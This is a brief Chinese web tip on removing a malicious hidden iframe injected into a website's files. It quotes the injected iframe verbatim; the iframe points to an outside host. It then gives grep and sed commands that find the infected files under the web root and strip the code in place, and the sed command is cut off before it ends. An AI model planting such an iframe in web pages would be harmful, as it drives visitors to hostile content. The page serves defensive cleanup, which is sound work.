注册
登录
| 关键词： 恶意 代码 wwwroot 文件 分析 data grep 文件名 httpwatch www |
首先利用工具分析查找出恶意代码（firebug、httpwatch等来分析） 恶意代码如下： <iframe src=http://lcvo.3322.org/dszq/8.htm width=111 height=0 border=0></iframe> 解决方法： 1.查找出包含恶意代码的所有文件名，输入到日志中 grep "<iframe src=http\:\/\/lcvo\.3322\.org\/dszq\/8\.htm width=111 height=0 border=0><\/iframe>" -rl /data/www/wwwroot >/root/trojan.log 2.查询网站目录下面所有文件，发现文件含有恶意代码，删除恶意代码！ sed -i "s/<iframe src=http\:\/\/lcvo\.3322\.org\/dszq\/8\.htm width=111 height=0 border=0><\/iframe>/ /g" `grep "<iframe src=http\:\/\/lcvo\.3322\.org\/dszq\/8\.htm width=111 height=0 border=0><\/iframe>" -rl /data/www/wwwroot/ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
